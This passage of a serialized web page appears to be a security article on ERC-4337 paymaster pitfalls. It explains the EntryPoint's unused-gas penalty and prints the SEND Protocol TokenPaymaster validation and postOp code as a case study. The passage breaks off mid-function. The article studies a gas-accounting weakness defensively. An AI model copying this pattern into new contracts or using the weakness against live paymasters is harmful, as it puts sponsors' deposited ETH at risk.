Implementation",{"type":22,"tag":23,"props":106364,"children":106365},{},[106366,106368,106373],{"type":27,"value":106367},"While paymasters offer powerful flexibility, they also introduce new complexity, and with it, room for subtle bugs. Missteps in paymaster design can not only break gas sponsorship flows, but also expose their deposited ETH in the ",{"type":22,"tag":30,"props":106369,"children":106371},{"className":106370},[],[106372],{"type":27,"value":105770},{"type":27,"value":106374}," to exploitation or griefing.",{"type":22,"tag":23,"props":106376,"children":106377},{},[106378,106380,106385],{"type":27,"value":106379},"In this section, we’ll walk through the ",{"type":22,"tag":9370,"props":106381,"children":106382},{},[106383],{"type":27,"value":106384},"two most common pitfalls",{"type":27,"value":106386}," we’ve observed in real-world paymaster implementations:",{"type":22,"tag":53,"props":106388,"children":106390},{"id":106389},"undercalculated-gas-costs",[106391],{"type":22,"tag":9370,"props":106392,"children":106393},{},[106394],{"type":27,"value":106395},"Undercalculated Gas Costs",{"type":22,"tag":23,"props":106397,"children":106398},{},[106399,106401,106406,106408,106413,106415,106420,106422,106429],{"type":27,"value":106400},"To understand this issue, let's first examine how gas penalties work in the ",{"type":22,"tag":30,"props":106402,"children":106404},{"className":106403},[],[106405],{"type":27,"value":105770},{"type":27,"value":106407},". When a ",{"type":22,"tag":30,"props":106409,"children":106411},{"className":106410},[],[106412],{"type":27,"value":105689},{"type":27,"value":106414}," specifies an execution gas limit higher than what's actually used during execution, the ",{"type":22,"tag":30,"props":106416,"children":106418},{"className":106417},[],[106419],{"type":27,"value":105770},{"type":27,"value":106421}," charges a ",{"type":22,"tag":80,"props":106423,"children":106426},{"href":106424,"rel":106425},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L718-L728",[84],[106427],{"type":27,"value":106428},"penalty of 10%",{"type":27,"value":106430}," of the unused gas. This penalty is paid to the bundler and is deducted from either the user's deposit (for regular transactions) or the paymaster's deposit (when using a paymaster).",{"type":22,"tag":23,"props":106432,"children":106433},{},[106434],{"type":27,"value":106435},"Now, let's examine a real-world example of how this penalty mechanism could impact paymasters. The SEND Protocol's paymaster implementation provides an instructive case study:",{"type":22,"tag":91,"props":106437,"children":106439},{"className":8520,"code":106438,"language":8519,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n internal\n override\n returns (bytes memory context, uint256 validationResult)\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n if (dataLength == 32) {\n uint256 clientSuppliedPrice =\n uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n // note: smaller number means 'more native asset per token'\n cachedPriceWithMarkup = clientSuppliedPrice;\n }\n }\n uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n tokenAmount += baseFee;\n SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n context = abi.encode(tokenAmount, userOp.sender);\n validationResult =\n _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n }\n }\n[...]\n function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n internal\n override\n {\n unchecked {\n uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n uint256 baseFee = tokenPaymasterConfig.baseFee;\n (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n preCharge -= baseFee; // don't refund the base fee\n uint256 _cachedPrice = updateCachedPrice(false);\n // note: price is in native-asset-per-token increasing it means dividing it by markup\n uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n // Refund tokens based on actual gas cost\n uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n if (preCharge > actualTokenNeeded) {\n // If initially provided token amount is greater than the actual amount needed, refund the difference\n SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n } else if (preCharge \u003C actualTokenNeeded) {\n // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n }\n\n if (baseFee > 0) {\n SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n }\n\n emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n refillEntryPointDeposit(_cachedPrice);\n }\n }\n}\n",[106440],{"type":22,"tag":30,"props":106441,"children":106442},{"__ignoreMap":7},[106443,106487,106494,106551,106559,106567,106609,106616,106628,106650,106671,106701,106752,106782,106803,106841,106880,106897,106936,106960,106977,107020,107042,107059,107076,107083,107090,107116,107133,107168,107199,107211,107258,107265,107272,107279,107346,107353,107360,107367,107378,107397,107416,107480,107503,107536,107551,107586,107594,107633,107658,107679,107687,107714,107741,107749,107757,107799,107806,107813,107837,107853,107860,107867,107885,107898,107905,107913],{"type":22,"tag":101,"props":106444,"children":106445},{"class":103,"line":104},[106446,106450,106455,106460,106465,106469,106474,106478,106483],{"type":22,"tag":101,"props":106447,"children":106448},{"style":108},[106449],{"type":27,"value":93321},{"type":22,"tag":101,"props":106451,"children":106452},{"style":114},[106453],{"type":27,"value":106454}," TokenPaymaster",{"type":22,"tag":101,"props":106456,"children":106457},{"style":108},[106458],{"type":27,"value":106459}," is",{"type":22,"tag":101,"props":106461,"children":106462},{"style":114},[106463],{"type":27,"value":106464}," BasePaymaster",{"type":22,"tag":101,"props":106466,"children":106467},{"style":120},[106468],{"type":27,"value":758},{"type":22,"tag":101,"props":106470,"children":106471},{"style":114},[106472],{"type":27,"value":106473},"UniswapHelper",{"type":22,"tag":101,"props":106475,"children":106476},{"style":120},[106477],{"type":27,"value":758},{"type":22,"tag":101,"props":106479,"children":106480},{"style":114},[106481],{"type":27,"value":106482},"OracleHelper",{"type":22,"tag":101,"props":106484,"children":106485},{"style":120},[106486],{"type":27,"value":154},{"type":22,"tag":101,"props":106488,"children":106489},{"class":103,"line":157},[106490],{"type":22,"tag":101,"props":106491,"children":106492},{"style":120},[106493],{"type":27,"value":14324},{"type":22,"tag":101,"props":106495,"children":106496},{"class":103,"line":182},[106497,106501,106506,106510,106515,106520,106525,106529,106534,106538,106542,106547],{"type":22,"tag":101,"props":106498,"children":106499},{"style":108},[106500],{"type":27,"value":93338},{"type":22,"tag":101,"props":106502,"children":106503},{"style":926},[106504],{"type":27,"value":106505}," _validatePaymasterUserOp",{"type":22,"tag":101,"props":106507,"children":106508},{"style":120},[106509],{"type":27,"value":980},{"type":22,"tag":101,"props":106511,"children":106512},{"style":108},[106513],{"type":27,"value":106514},"PackedUserOperation",{"type":22,"tag":101,"props":106516,"children":106517},{"style":108},[106518],{"type":27,"value":106519}," calldata",{"type":22,"tag":101,"props":106521,"children":106522},{"style":126},[106523],{"type":27,"value":106524}," userOp",{"type":22,"tag":101,"props":106526,"children":106527},{"style":120},[106528],{"type":27,"value":758},{"type":22,"tag":101,"props":106530,"children":106531},{"style":114},[106532],{"type":27,"value":106533},"bytes32",{"type":22,"tag":101,"props":106535,"children":106536},{"style":120},[106537],{"type":27,"value":758},{"type":22,"tag":101,"props":106539,"children":106540},{"style":114},[106541],{"type":27,"value":50164},{"type":22,"tag":101,"props":106543,"children":106544},{"style":126},[106545],{"type":27,"value":106546}," requiredPreFund",{"type":22,"tag":101,"props":106548,"children":106549},{"style":120},[106550],{"type":27,"value":2510},{"type":22,"tag":101,"props":106552,"children":106553},{"class":103,"line":367},[106554],{"type":22,"tag":101,"props":106555,"children":106556},{"style":108},[106557],{"type":27,"value":106558}," internal\n",{"type":22,"tag":101,"props":106560,"children":106561},{"class":103,"line":398},[106562],{"type":22,"tag":101,"props":106563,"children":106564},{"style":108},[106565],{"type":27,"value":106566}," override\n",{"type":22,"tag":101,"props":106568,"children":106569},{"class":103,"line":428},[106570,106575,106579,106583,106588,106592,106596,106600,106605],{"type":22,"tag":101,"props":106571,"children":106572},{"style":3595},[106573],{"type":27,"value":106574}," returns",{"type":22,"tag":101,"props":106576,"children":106577},{"style":120},[106578],{"type":27,"value":3603},{"type":22,"tag":101,"props":106580,"children":106581},{"style":114},[106582],{"type":27,"value":87335},{"type":22,"tag":101,"props":106584,"children":106585},{"style":108},[106586],{"type":27,"value":106587}," memory",{"type":22,"tag":101,"props":106589,"children":106590},{"style":126},[106591],{"type":27,"value":79847},{"type":22,"tag":101,"props":106593,"children":106594},{"style":120},[106595],{"type":27,"value":758},{"type":22,"tag":101,"props":106597,"children":106598},{"style":114},[106599],{"type":27,"value":50164},{"type":22,"tag":101,"props":106601,"children":106602},{"style":126},[106603],{"type":27,"value":106604}," validationResult",{"type":22,"tag":101,"props":106606,"children":106607},{"style":120},[106608],{"type":27,"value":2510},{"type":22,"tag":101,"props":106610,"children":106611},{"class":103,"line":997},[106612],{"type":22,"tag":101,"props":106613,"children":106614},{"style":120},[106615],{"type":27,"value":33186},{"type":22,"tag":101,"props":106617,"children":106618},{"class":103,"line":1032},[106619,106624],{"type":22,"tag":101,"props":106620,"children":106621},{"style":3595},[106622],{"type":27,"value":106623}," unchecked",{"type":22,"tag":101,"props":106625,"children":106626},{"style":120},[106627],{"type":27,"value":154},{"type":22,"tag":101,"props":106629,"children":106630},{"class":103,"line":1063},[106631,106636,106641,106645],{"type":22,"tag":101,"props":106632,"children":106633},{"style":114},[106634],{"type":27,"value":106635}," uint256",{"type":22,"tag":101,"props":106637,"children":106638},{"style":120},[106639],{"type":27,"value":106640}," priceMarkup ",{"type":22,"tag":101,"props":106642,"children":106643},{"style":166},[106644],{"type":27,"value":1511},{"type":22,"tag":101,"props":106646,"children":106647},{"style":120},[106648],{"type":27,"value":106649}," tokenPaymasterConfig.priceMarkup;\n",{"type":22,"tag":101,"props":106651,"children":106652},{"class":103,"line":1071},[106653,106657,106662,106666],{"type":22,"tag":101,"props":106654,"children":106655},{"style":114},[106656],{"type":27,"value":106635},{"type":22,"tag":101,"props":106658,"children":106659},{"style":120},[106660],{"type":27,"value":106661}," baseFee ",{"type":22,"tag":101,"props":106663,"children":106664},{"style":166},[106665],{"type":27,"value":1511},{"type":22,"tag":101,"props":106667,"children":106668},{"style":120},[106669],{"type":27,"value":106670}," tokenPaymasterConfig.baseFee;\n",{"type":22,"tag":101,"props":106672,"children":106673},{"class":103,"line":1110},[106674,106678,106683,106687,106692,106696],{"type":22,"tag":101,"props":106675,"children":106676},{"style":114},[106677],{"type":27,"value":106635},{"type":22,"tag":101,"props":106679,"children":106680},{"style":120},[106681],{"type":27,"value":106682}," dataLength ",{"type":22,"tag":101,"props":106684,"children":106685},{"style":166},[106686],{"type":27,"value":1511},{"type":22,"tag":101,"props":106688,"children":106689},{"style":120},[106690],{"type":27,"value":106691}," userOp.paymasterAndData.length ",{"type":22,"tag":101,"props":106693,"children":106694},{"style":166},[106695],{"type":27,"value":8372},{"type":22,"tag":101,"props":106697,"children":106698},{"style":120},[106699],{"type":27,"value":106700}," PAYMASTER_DATA_OFFSET;\n",{"type":22,"tag":101,"props":106702,"children":106703},{"class":103,"line":1118},[106704,106709,106714,106718,106722,106726,106730,106734,106739,106743,106748],{"type":22,"tag":101,"props":106705,"children":106706},{"style":3595},[106707],{"type":27,"value":106708}," require",{"type":22,"tag":101,"props":106710,"children":106711},{"style":120},[106712],{"type":27,"value":106713},"(dataLength ",{"type":22,"tag":101,"props":106715,"children":106716},{"style":166},[106717],{"type":27,"value":4340},{"type":22,"tag":101,"props":106719,"children":106720},{"style":1544},[106721],{"type":27,"value":1547},{"type":22,"tag":101,"props":106723,"children":106724},{"style":166},[106725],{"type":27,"value":27695},{"type":22,"tag":101,"props":106727,"children":106728},{"style":120},[106729],{"type":27,"value":106682},{"type":22,"tag":101,"props":106731,"children":106732},{"style":166},[106733],{"type":27,"value":4340},{"type":22,"tag":101,"props":106735,"children":106736},{"style":1544},[106737],{"type":27,"value":106738}," 32",{"type":22,"tag":101,"props":106740,"children":106741},{"style":120},[106742],{"type":27,"value":758},{"type":22,"tag":101,"props":106744,"children":106745},{"style":6476},[106746],{"type":27,"value":106747},"\"TPM: invalid data length\"",{"type":22,"tag":101,"props":106749,"children":106750},{"style":120},[106751],{"type":27,"value":994},{"type":22,"tag":101,"props":106753,"children":106754},{"class":103,"line":1158},[106755,106759,106764,106768,106773,106778],{"type":22,"tag":101,"props":106756,"children":106757},{"style":114},[106758],{"type":27,"value":106635},{"type":22,"tag":101,"props":106760,"children":106761},{"style":120},[106762],{"type":27,"value":106763}," maxFeePerGas ",{"type":22,"tag":101,"props":106765,"children":106766},{"style":166},[106767],{"type":27,"value":1511},{"type":22,"tag":101,"props":106769,"children":106770},{"style":120},[106771],{"type":27,"value":106772}," userOp.",{"type":22,"tag":101,"props":106774,"children":106775},{"style":926},[106776],{"type":27,"value":106777},"unpackMaxFeePerGas",{"type":22,"tag":101,"props":106779,"children":106780},{"style":120},[106781],{"type":27,"value":934},{"type":22,"tag":101,"props":106783,"children":106784},{"class":103,"line":1166},[106785,106789,106794,106798],{"type":22,"tag":101,"props":106786,"children":106787},{"style":114},[106788],{"type":27,"value":106635},{"type":22,"tag":101,"props":106790,"children":106791},{"style":120},[106792],{"type":27,"value":106793}," refundPostopCost ",{"type":22,"tag":101,"props":106795,"children":106796},{"style":166},[106797],{"type":27,"value":1511},{"type":22,"tag":101,"props":106799,"children":106800},{"style":120},[106801],{"type":27,"value":106802}," tokenPaymasterConfig.refundPostopCost;\n",{"type":22,"tag":101,"props":106804,"children":106805},{"class":103,"line":1215},[106806,106810,106815,106819,106823,106828,106832,106837],{"type":22,"tag":101,"props":106807,"children":106808},{"style":3595},[106809],{"type":27,"value":106708},{"type":22,"tag":101,"props":106811,"children":106812},{"style":120},[106813],{"type":27,"value":106814},"(refundPostopCost ",{"type":22,"tag":101,"props":106816,"children":106817},{"style":166},[106818],{"type":27,"value":123},{"type":22,"tag":101,"props":106820,"children":106821},{"style":120},[106822],{"type":27,"value":106772},{"type":22,"tag":101,"props":106824,"children":106825},{"style":926},[106826],{"type":27,"value":106827},"unpackPostOpGasLimit",{"type":22,"tag":101,"props":106829,"children":106830},{"style":120},[106831],{"type":27,"value":1147},{"type":22,"tag":101,"props":106833,"children":106834},{"style":6476},[106835],{"type":27,"value":106836},"\"TPM: postOpGasLimit too low\"",{"type":22,"tag":101,"props":106838,"children":106839},{"style":120},[106840],{"type":27,"value":994},{"type":22,"tag":101,"props":106842,"children":106843},{"class":103,"line":2425},[106844,106848,106853,106857,106862,106866,106871,106875],{"type":22,"tag":101,"props":106845,"children":106846},{"style":114},[106847],{"type":27,"value":106635},{"type":22,"tag":101,"props":106849,"children":106850},{"style":120},[106851],{"type":27,"value":106852}," preChargeNative ",{"type":22,"tag":101,"props":106854,"children":106855},{"style":166},[106856],{"type":27,"value":1511},{"type":22,"tag":101,"props":106858,"children":106859},{"style":120},[106860],{"type":27,"value":106861}," requiredPreFund ",{"type":22,"tag":101,"props":106863,"children":106864},{"style":166},[106865],{"type":27,"value":8426},{"type":22,"tag":101,"props":106867,"children":106868},{"style":120},[106869],{"type":27,"value":106870}," (refundPostopCost ",{"type":22,"tag":101,"props":106872,"children":106873},{"style":166},[106874],{"type":27,"value":8615},{"type":22,"tag":101,"props":106876,"children":106877},{"style":120},[106878],{"type":27,"value":106879}," maxFeePerGas);\n",{"type":22,"tag":101,"props":106881,"children":106882},{"class":103,"line":5417},[106883,106888,106892],{"type":22,"tag":101,"props":106884,"children":106885},{"style":2215},[106886],{"type":27,"value":106887}," // ",{"type":22,"tag":101,"props":106889,"children":106890},{"style":108},[106891],{"type":27,"value":6005},{"type":22,"tag":101,"props":106893,"children":106894},{"style":2215},[106895],{"type":27,"value":106896},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":22,"tag":101,"props":106898,"children":106899},{"class":103,"line":7714},[106900,106904,106909,106913,106918,106922,106927,106931],{"type":22,"tag":101,"props":106901,"children":106902},{"style":114},[106903],{"type":27,"value":106635},{"type":22,"tag":101,"props":106905,"children":106906},{"style":120},[106907],{"type":27,"value":106908}," cachedPriceWithMarkup ",{"type":22,"tag":101,"props":106910,"children":106911},{"style":166},[106912],{"type":27,"value":1511},{"type":22,"tag":101,"props":106914,"children":106915},{"style":120},[106916],{"type":27,"value":106917}," cachedPrice ",{"type":22,"tag":101,"props":106919,"children":106920},{"style":166},[106921],{"type":27,"value":8615},{"type":22,"tag":101,"props":106923,"children":106924},{"style":120},[106925],{"type":27,"value":106926}," DENOM ",{"type":22,"tag":101,"props":106928,"children":106929},{"style":166},[106930],{"type":27,"value":8625},{"type":22,"tag":101,"props":106932,"children":106933},{"style":120},[106934],{"type":27,"value":106935}," priceMarkup;\n",{"type":22,"tag":101,"props":106937,"children":106938},{"class":103,"line":7723},[106939,106943,106948,106952,106956],{"type":22,"tag":101,"props":106940,"children":106941},{"style":3595},[106942],{"type":27,"value":62798},{"type":22,"tag":101,"props":106944,"children":106945},{"style":120},[106946],{"type":27,"value":106947}," (dataLength ",{"type":22,"tag":101,"props":106949,"children":106950},{"style":166},[106951],{"type":27,"value":4340},{"type":22,"tag":101,"props":106953,"children":106954},{"style":1544},[106955],{"type":27,"value":106738},{"type":22,"tag":101,"props":106957,"children":106958},{"style":120},[106959],{"type":27,"value":1463},{"type":22,"tag":101,"props":106961,"children":106962},{"class":103,"line":7791},[106963,106968,106973],{"type":22,"tag":101,"props":106964,"children":106965},{"style":114},[106966],{"type":27,"value":106967}," uint256",{"type":22,"tag":101,"props":106969,"children":106970},{"style":120},[106971],{"type":27,"value":106972}," clientSuppliedPrice ",{"type":22,"tag":101,"props":106974,"children":106975},{"style":166},[106976],{"type":27,"value":18695},{"type":22,"tag":101,"props":106978,"children":106979},{"class":103,"line":7799},[106980,106985,106989,106993,106998,107002,107007,107011,107015],{"type":22,"tag":101,"props":106981,"children":106982},{"style":114},[106983],{"type":27,"value":106984}," uint256",{"type":22,"tag":101,"props":106986,"children":106987},{"style":120},[106988],{"type":27,"value":980},{"type":22,"tag":101,"props":106990,"children":106991},{"style":114},[106992],{"type":27,"value":106533},{"type":22,"tag":101,"props":106994,"children":106995},{"style":120},[106996],{"type":27,"value":106997},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":22,"tag":101,"props":106999,"children":107000},{"style":166},[107001],{"type":27,"value":169},{"type":22,"tag":101,"props":107003,"children":107004},{"style":120},[107005],{"type":27,"value":107006},"PAYMASTER_DATA_OFFSET ",{"type":22,"tag":101,"props":107008,"children":107009},{"style":166},[107010],{"type":27,"value":8426},{"type":22,"tag":101,"props":107012,"children":107013},{"style":1544},[107014],{"type":27,"value":106738},{"type":22,"tag":101,"props":107016,"children":107017},{"style":120},[107018],{"type":27,"value":107019},"]));\n",{"type":22,"tag":101,"props":107021,"children":107022},{"class":103,"line":7829},[107023,107028,107033,107037],{"type":22,"tag":101,"props":107024,"children":107025},{"style":3595},[107026],{"type":27,"value":107027}," if",{"type":22,"tag":101,"props":107029,"children":107030},{"style":120},[107031],{"type":27,"value":107032}," (clientSuppliedPrice ",{"type":22,"tag":101,"props":107034,"children":107035},{"style":166},[107036],{"type":27,"value":123},{"type":22,"tag":101,"props":107038,"children":107039},{"style":120},[107040],{"type":27,"value":107041}," cachedPriceWithMarkup) {\n",{"type":22,"tag":101,"props":107043,"children":107044},{"class":103,"line":7837},[107045,107050,107054],{"type":22,"tag":101,"props":107046,"children":107047},{"style":2215},[107048],{"type":27,"value":107049}," // ",{"type":22,"tag":101,"props":107051,"children":107052},{"style":108},[107053],{"type":27,"value":6005},{"type":22,"tag":101,"props":107055,"children":107056},{"style":2215},[107057],{"type":27,"value":107058},": smaller number means 'more native asset per token'\n",{"type":22,"tag":101,"props":107060,"children":107061},{"class":103,"line":7868},[107062,107067,107071],{"type":22,"tag":101,"props":107063,"children":107064},{"style":120},[107065],{"type":27,"value":107066}," cachedPriceWithMarkup ",{"type":22,"tag":101,"props":107068,"children":107069},{"style":166},[107070],{"type":27,"value":1511},{"type":22,"tag":101,"props":107072,"children":107073},{"style":120},[107074],{"type":27,"value":107075}," clientSuppliedPrice;\n",{"type":22,"tag":101,"props":107077,"children":107078},{"class":103,"line":7876},[107079],{"type":22,"tag":101,"props":107080,"children":107081},{"style":120},[107082],{"type":27,"value":74576},{"type":22,"tag":101,"props":107084,"children":107085},{"class":103,"line":7936},[107086],{"type":22,"tag":101,"props":107087,"children":107088},{"style":120},[107089],{"type":27,"value":62882},{"type":22,"tag":101,"props":107091,"children":107092},{"class":103,"line":13054},[107093,107097,107102,107106,107111],{"type":22,"tag":101,"props":107094,"children":107095},{"style":114},[107096],{"type":27,"value":106635},{"type":22,"tag":101,"props":107098,"children":107099},{"style":120},[107100],{"type":27,"value":107101}," tokenAmount ",{"type":22,"tag":101,"props":107103,"children":107104},{"style":166},[107105],{"type":27,"value":1511},{"type":22,"tag":101,"props":107107,"children":107108},{"style":926},[107109],{"type":27,"value":107110}," weiToToken",{"type":22,"tag":101,"props":107112,"children":107113},{"style":120},[107114],{"type":27,"value":107115},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":22,"tag":101,"props":107117,"children":107118},{"class":103,"line":13072},[107119,107124,107128],{"type":22,"tag":101,"props":107120,"children":107121},{"style":120},[107122],{"type":27,"value":107123}," tokenAmount ",{"type":22,"tag":101,"props":107125,"children":107126},{"style":166},[107127],{"type":27,"value":71942},{"type":22,"tag":101,"props":107129,"children":107130},{"style":120},[107131],{"type":27,"value":107132}," baseFee;\n",{"type":22,"tag":101,"props":107134,"children":107135},{"class":103,"line":13117},[107136,107141,107146,107151,107155,107159,107163],{"type":22,"tag":101,"props":107137,"children":107138},{"style":120},[107139],{"type":27,"value":107140}," SafeERC20.",{"type":22,"tag":101,"props":107142,"children":107143},{"style":926},[107144],{"type":27,"value":107145},"safeTransferFrom",{"type":22,"tag":101,"props":107147,"children":107148},{"style":120},[107149],{"type":27,"value":107150},"(token, userOp.sender, ",{"type":22,"tag":101,"props":107152,"children":107153},{"style":114},[107154],{"type":27,"value":36637},{"type":22,"tag":101,"props":107156,"children":107157},{"style":120},[107158],{"type":27,"value":980},{"type":22,"tag":101,"props":107160,"children":107161},{"style":108},[107162],{"type":27,"value":21691},{"type":22,"tag":101,"props":107164,"children":107165},{"style":120},[107166],{"type":27,"value":107167},"), tokenAmount);\n",{"type":22,"tag":101,"props":107169,"children":107170},{"class":103,"line":13223},[107171,107176,107180,107185,107189,107194],{"type":22,"tag":101,"props":107172,"children":107173},{"style":120},[107174],{"type":27,"value":107175}," context ",{"type":22,"tag":101,"props":107177,"children":107178},{"style":166},[107179],{"type":27,"value":1511},{"type":22,"tag":101,"props":107181,"children":107182},{"style":108},[107183],{"type":27,"value":107184}," abi",{"type":22,"tag":101,"props":107186,"children":107187},{"style":120},[107188],{"type":27,"value":231},{"type":22,"tag":101,"props":107190,"children":107191},{"style":926},[107192],{"type":27,"value":107193},"encode",{"type":22,"tag":101,"props":107195,"children":107196},{"style":120},[107197],{"type":27,"value":107198},"(tokenAmount, userOp.sender);\n",{"type":22,"tag":101,"props":107200,"children":107201},{"class":103,"line":27496},[107202,107207],{"type":22,"tag":101,"props":107203,"children":107204},{"style":120},[107205],{"type":27,"value":107206}," validationResult ",{"type":22,"tag":101,"props":107208,"children":107209},{"style":166},[107210],{"type":27,"value":18695},{"type":22,"tag":101,"props":107212,"children":107213},{"class":103,"line":27531},[107214,107219,107223,107227,107231,107236,107241,107245,107250,107254],{"type":22,"tag":101,"props":107215,"children":107216},{"style":926},[107217],{"type":27,"value":107218}," _packValidationData",{"type":22,"tag":101,"props":107220,"children":107221},{"style":120},[107222],{"type":27,"value":980},{"type":22,"tag":101,"props":107224,"children":107225},{"style":108},[107226],{"type":27,"value":5644},{"type":22,"tag":101,"props":107228,"children":107229},{"style":120},[107230],{"type":27,"value":758},{"type":22,"tag":101,"props":107232,"children":107233},{"style":114},[107234],{"type":27,"value":107235},"uint48",{"type":22,"tag":101,"props":107237,"children":107238},{"style":120},[107239],{"type":27,"value":107240},"(cachedPriceTimestamp ",{"type":22,"tag":101,"props":107242,"children":107243},{"style":166},[107244],{"type":27,"value":8426},{"type":22,"tag":101,"props":107246,"children":107247},{"style":120},[107248],{"type":27,"value":107249}," tokenPaymasterConfig.priceMaxAge), ",{"type":22,"tag":101,"props":107251,"children":107252},{"style":1544},[107253],{"type":27,"value":8065},{"type":22,"tag":101,"props":107255,"children":107256},{"style":120},[107257],{"type":27,"value":994},{"type":22,"tag":101,"props":107259,"children":107260},{"class":103,"line":27539},[107261],{"type":22,"tag":101,"props":107262,"children":107263},{"style":120},[107264],{"type":27,"value":2398},{"type":22,"tag":101,"props":107266,"children":107267},{"class":103,"line":27547},[107268],{"type":22,"tag":101,"props":107269,"children":107270},{"style":120},[107271],{"type":27,"value":1734},{"type":22,"tag":101,"props":107273,"children":107274},{"class":103,"line":27556},[107275],{"type":22,"tag":101,"props":107276,"children":107277},{"style":120},[107278],{"type":27,"value":14324},{"type":22,"tag":101,"props":107280,"children":107281},{"class":103,"line":27598},[107282,107286,107291,107295,107300,107304,107308,107312,107316,107320,107324,107329,107333,107337,107342],{"type":22,"tag":101,"props":107283,"children":107284},{"style":108},[107285],{"type":27,"value":93338},{"type":22,"tag":101,"props":107287,"children":107288},{"style":926},[107289],{"type":27,"value":107290}," _postOp",{"type":22,"tag":101,"props":107292,"children":107293},{"style":120},[107294],{"type":27,"value":980},{"type":22,"tag":101,"props":107296,"children":107297},{"style":108},[107298],{"type":27,"value":107299},"PostOpMode",{"type":22,"tag":101,"props":107301,"children":107302},{"style":120},[107303],{"type":27,"value":758},{"type":22,"tag":101,"props":107305,"children":107306},{"style":114},[107307],{"type":27,"value":87335},{"type":22,"tag":101,"props":107309,"children":107310},{"style":108},[107311],{"type":27,"value":106519},{"type":22,"tag":101,"props":107313,"children":107314},{"style":126},[107315],{"type":27,"value":79847},{"type":22,"tag":101,"props":107317,"children":107318},{"style":120},[107319],{"type":27,"value":758},{"type":22,"tag":101,"props":107321,"children":107322},{"style":114},[107323],{"type":27,"value":50164},{"type":22,"tag":101,"props":107325,"children":107326},{"style":126},[107327],{"type":27,"value":107328}," actualGasCost",{"type":22,"tag":101,"props":107330,"children":107331},{"style":120},[107332],{"type":27,"value":758},{"type":22,"tag":101,"props":107334,"children":107335},{"style":114},[107336],{"type":27,"value":50164},{"type":22,"tag":101,"props":107338,"children":107339},{"style":126},[107340],{"type":27,"value":107341}," actualUserOpFeePerGas",{"type":22,"tag":101,"props":107343,"children":107344},{"style":120},[107345],{"type":27,"value":2510},{"type":22,"tag":101,"props":107347,"children":107348},{"class":103,"line":27631},[107349],{"type":22,"tag":101,"props":107350,"children":107351},{"style":108},[107352],{"type":27,"value":106558},{"type":22,"tag":101,"props":107354,"children":107355},{"class":103,"line":27639},[107356],{"type":22,"tag":101,"props":107357,"children":107358},{"style":108},[107359],{"type":27,"value":106566},{"type":22,"tag":101,"props":107361,"children":107362},{"class":103,"line":27647},[107363],{"type":22,"tag":101,"props":107364,"children":107365},{"style":120},[107366],{"type":27,"value":33186},{"type":22,"tag":101,"props":107368,"children":107369},{"class":103,"line":27656},[107370,107374],{"type":22,"tag":101,"props":107371,"children":107372},{"style":3595},[107373],{"type":27,"value":106623},{"type":22,"tag":101,"props":107375,"children":107376},{"style":120},[107377],{"type":27,"value":154},{"type":22,"tag":101,"props":107379,"children":107380},{"class":103,"line":27732},[107381,107385,107389,107393],{"type":22,"tag":101,"props":107382,"children":107383},{"style":114},[107384],{"type":27,"value":106635},{"type":22,"tag":101,"props":107386,"children":107387},{"style":120},[107388],{"type":27,"value":106640},{"type":22,"tag":101,"props":107390,"children":107391},{"style":166},[107392],{"type":27,"value":1511},{"type":22,"tag":101,"props":107394,"children":107395},{"style":120},[107396],{"type":27,"value":106649},{"type":22,"tag":101,"props":107398,"children":107399},{"class":103,"line":27765},[107400,107404,107408,107412],{"type":22,"tag":101,"props":107401,"children":107402},{"style":114},[107403],{"type":27,"value":106635},{"type":22,"tag":101,"props":107405,"children":107406},{"style":120},[107407],{"type":27,"value":106661},{"type":22,"tag":101,"props":107409,"children":107410},{"style":166},[107411],{"type":27,"value":1511},{"type":22,"tag":101,"props":107413,"children":107414},{"style":120},[107415],{"type":27,"value":106670},{"type":22,"tag":101,"props":107417,"children":107418},{"class":103,"line":27773},[107419,107424,107428,107433,107437,107442,107446,107450,107454,107459,107464,107468,107472,107476],{"type":22,"tag":101,"props":107420,"children":107421},{"style":120},[107422],{"type":27,"value":107423}," (",{"type":22,"tag":101,"props":107425,"children":107426},{"style":114},[107427],{"type":27,"value":50164},{"type":22,"tag":101,"props":107429,"children":107430},{"style":120},[107431],{"type":27,"value":107432}," preCharge, 